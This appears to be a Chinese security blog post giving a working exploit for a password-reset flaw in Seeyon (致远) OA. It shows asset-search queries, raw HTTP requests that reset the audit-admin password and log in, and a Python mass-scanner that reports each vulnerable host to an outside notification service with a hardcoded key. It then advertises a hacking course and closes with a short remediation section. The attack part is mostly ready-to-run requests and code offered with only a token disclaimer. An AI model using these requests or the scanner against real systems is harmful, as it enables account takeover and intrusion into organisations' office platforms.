致远OA ucpcLogin密码重置(可组合拳GetShell)

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述

致远OA存在前台密码重置漏洞,可以重置系统中默认账户,使用重置后的密码通过接口获取cookie后可getshell,此组合拳可以实现致远的前台RCE。

二、信息收集

hunter:app.name="致远 OA"fofa:app="致远A8"

收集资产

在这里插入图片描述
在这里插入图片描述

三、漏洞复现

重置审计管理员密码

seeyon-guest -696400025239268-----忽略
system -72730320132347481---忽略
audit-admin -440160666363------忽略
group-admin 5725175934914479521

第一步,我们需要发送一个PUT请求包,来验证漏洞的存在性

PUT /seeyon/rest/orgMember/-4401606663639775639/password/share.do HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=3891CB3E3CA435C599001E4F03A335B0; loginPageURL=

在这里插入图片描述

如果回200OK,和截图的样子,就说明成功了一半

接着,我们继续发POST请求,来验证

POST /seeyon/rest/authentication/ucpcLogin?login_username=audit-admin&login_password=share.do&ticket= HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/x-www-form-urlencoded

在这里插入图片描述

这个时候你已经登录OK了,

获取当前用户信息,确认cookie有效性

POST /seeyon/rest/m3/login/getCurrentUser HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Cookie: JSESSIONID=66413CAC627CF5AE8DE839AB47E82B4D;
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: application/json;charset=UTF-8

{"":""}

在这里插入图片描述

出现这个表示成功

使用重置后的密码登录

audit-admin/share.do

在这里插入图片描述

四、重要python代码

#致远OA ucpcLogin存在密码重置漏洞
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
from requests.exceptions import Timeout
import os
import urllib.parse
import urllib.request
import re

def sc_send(text, desp='', key='[SENDKEY]'):
    postdata = urllib.parse.urlencode({'text': text, 'desp': desp}).encode('utf-8')
    urlserver = f'https://sctapi.ftqq.com/{key}.send'
    req = urllib.request.Request(urlserver, data=postdata, method='POST')
    with urllib.request.urlopen(req) as response:
        result = response.read().decode('utf-8')
    return result
key = "SCT202695TeKe1ATgRMke7f7jyrOOkH9GX"

def scan_Zhiyuan_OA_pwd_reset_vul(url, proxies, headers, append_to_output):

    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    }

    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url

    headers_put = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0',
        'Accept': '*/*',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate, br',
        'Connection': 'close',
        'Cookie': 'JSESSIONID=3891CB3E3CA435C599001E4F03A335B0; loginPageURL='
    }

    headers_post = {
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:123.0) Gecko/20100101 Firefox/123.0',
        'Accept': '*/*',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate, br',
        'Connection': 'close',
        'Content-Type': 'application/x-www-form-urlencoded'
    }

    # 定义请求体数据
    data_post = {
        'login_username': 'audit-admin',
        'login_password': 'share.do',
        'ticket': ''
    }

    data = '''{"":""}'''
    append_to_output("===================================================================", "green")
    append_to_output(f"扫描目标: {url}", "yellow")
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        # 发送PUT请求
        put_response = requests.put(f"{url}/seeyon/rest/orgMember/-4401606663639775639/password/share.do",headers=headers_put,verify=False, timeout=5, proxies=proxies)

        # 发送POST请求
        post_response = requests.post(f"{url}/seeyon/rest/authentication/ucpcLogin", headers=headers_post,data=data_post,verify=False, timeout=5, proxies=proxies)

        post_response_cookie = requests.post(f"{url}/seeyon/rest/m3/login/getCurrentUser", headers=headers_post,data=data, verify=False, timeout=5, proxies=proxies)
        # 检查PUT请求响应

        if put_response.status_code == 200:
            append_to_output(f"[+] {url} PUT请求成功并且响应包含!!!!", "yellow")
            if post_response.status_code == 200 and 'ok' in post_response.text and 'audit-admin' in post_response.text:
                append_to_output(f"[+] {url} 存在致远OA ucpcLogin存在密码重置漏洞,需要拿COOKIE!!!!", "yellow")
                if post_response_cookie.status_code == 200 and 'audit-admin' in post_response.text:
                    append_to_output(f"[+] {url} 存在致远OA ucpcLogin存在密码重置漏洞!!!!", "red")
                    ret = sc_send('致远OA ucpcLogin存在密码重置漏洞', f"漏洞连接: {url}\r\n漏洞类型: 文件上传", key)
                else:
                    append_to_output(f"[-] {url} 不存在致远OA ucpcLogin存在密码重置漏洞", "green")
            else:
                append_to_output(f"[-] {url} 不存在致远OA ucpcLogin存在密码重置漏洞", "green")
        else:
            append_to_output(f"[-] {url} 不存在PUT请求成功并且响应包含", "green")
    except Timeout:
        append_to_output(f"[!] 请求超时,跳过URL: {url}", "yellow")
    except Exception as e:
        if 'HTTPSConnectionPool' in str(e) or 'Burp Suite Professional' in str(e):
            append_to_output(f"[-] {url} 证书校验错误或者证书被拒绝", "yellow")
        else:
            append_to_output(str(e), "yellow")

红岸基地网安

我们拥有什么样的硬核实力?

一、传统安全【卷王】

①基础安全

在这里插入图片描述
在这里插入图片描述

基础安全培训,市面上你看到的任何技术,我们这里都会细化讲解,让你夯实基本功

②企业安全

在这里插入图片描述

附加企业安全建设,让你更加理解企业化需求,附加企业化陪跑项目

③境外打击实战

④年HW招聘与人员安排

二、汽车网络安全

①各大汽车真实漏洞复现

②2024年新增小米SU7漏洞实战

如有需要或者领取大纲和护网资料请加

在这里插入图片描述

### 致远OA用户密码重置安全漏洞及其修复方法 #### 漏洞概述 致远OA存在一个高危级别的任意用户密码重置漏洞,允许未经授权的攻击者通过构造特定的数据包来触发未授权的密码重置行为。这可能导致攻击者获得合法用户的账户控制权限,并进而实施更严重的攻击活动[^3]。 #### 漏洞影响范围 受影响的产品版本包括但不限于V5/G6 V8.1SP2、V8.2等系列版本。这些版本中存在的缺陷使得它们容易受到上述提到的攻击方式的影响。 #### 修复方案详解 为了有效防范此类攻击的发生,在开发层面应当采取如下措施: - **增强身份验证逻辑** 对于任何涉及更改敏感信息的操作(如修改密码),应该严格检验发起者的身份合法性。具体来说就是确保只有经过认证后的会话才能发送有效的变更请求,并且每次操作都需重新确认一次当前登录状态下的真实意图。此外还需加入额外的身份验证因素,比如短信验证码或邮件令牌等形式作为辅助手段以增加安全性[^2]。 - **优化前端交互设计** 避免直接向浏览器端暴露过多不必要的个人信息字段(例如手机号码、电子邮箱地址)。对于确实必要的提示性文字,则尽可能采用部分隐藏的方式显示给用户查看即可满足业务需求的同时减少潜在风险点的存在概率。 - **引入防暴力破解机制** 设置合理的尝试次数上限以及相应的锁定策略,当检测到来自同一IP地址连续多次失败记录时自动对该源进行短暂封禁处理直至管理员介入审核为止。这样既能够阻止恶意程序批量测试弱口令组合的行为发生又能保障正常用户的正常使用体验不受干扰。 - **改进URL参数加密算法** 使用高强度哈希函数生成唯一性的Token字符串代替原有的简单数值型标识符参与到整个流程当中去。这样一来即使有人截获到了完整的HTTP GET请求也无法轻易解析出其中所携带的具体含义从而达到保护隐私的目的。 ```python import hashlib, time def generate_secure_token(user_id): timestamp = str(int(time.time())) random_salt = 'some_random_string' token_input = f"{user_id}{timestamp}{random_salt}" secure_token = hashlib.sha256(token_input.encode()).hexdigest() return secure_token ``` #### 后续维护建议 官方已经针对这个问题发布了专门的安全补丁文件供客户下载安装使用。强烈推荐各机构尽快安排技术人员依照指导手册完成相应升级工作以免遭受不必要的损失[^1]。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全攻防赵小龙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值